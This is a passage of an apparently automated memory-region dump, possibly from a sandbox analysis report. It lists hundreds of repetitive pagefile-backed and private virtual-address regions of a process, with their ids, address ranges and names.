0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1504 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1505 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1506 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1507 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1508 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1509 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1510 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1511 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1512 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1513 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1514 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1515 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1516 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1605 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1606 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1607 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1608 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1609 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1610 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1611 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1612 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1613 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1614 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1615 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1616 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1733 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1734 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1735 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1736 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1737 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1738 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1739 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1740 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1741 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1742 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1743 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1744 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1745 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1746 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1747 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1748 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1749 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1750 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1751 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1752 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1753 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1754 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1755 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1756 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1757 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1758 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1759 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1760 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1761 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1762 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1763 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1764 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1765 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1766 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1767 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1768 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1769 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1770 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1771 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1772 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1773 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1774 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1775 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1776 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1777 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1778 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1779 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1780 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1781 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1782 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1783 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1784 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1785 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1786 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1787 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1788 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1789 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1790 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1793 start_va = 0x4730000 end_va = 0x4830fff entry_point = 0x0 region_type = private name = "private_0x0000000004730000" filename = "" Region: id = 1794 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1795 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1796 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1797 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1798 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1799 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1800 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1801 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1802 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1803 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1804 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1805 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1806 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1807 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1808 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1809 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1810 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1811 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1812 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1813 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1814 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1815 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1816 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1817 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1818 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1819 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1820 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1821 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1822 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1823 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1824 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1825 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1826 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1827 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1828 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1829 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1830 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1831 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1832 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1833 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1834 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1835 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1836 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1837 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1838 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1839 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1840 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1841 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1842 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1843 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1844 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1845 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1846 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1847 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1848 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1849 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1850 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1851 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1852 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1853 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1854 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1855 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1856 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1857 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1858 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1859 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1860 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1861 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1862 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1863 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1864 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1865 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1866 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1867 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1868 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1869 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1870 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1871 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1872 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1873 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1874 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1875 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1876 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1877 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1878 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1879 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1880 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1881 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1882 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1883 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1884 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1885 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1886 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1887 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1888 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1889 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1890 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1891 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1892 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1893 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1894 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1895 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1896 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1897 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1898 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1899 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1900 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1901 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1902 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1903 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1904 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = 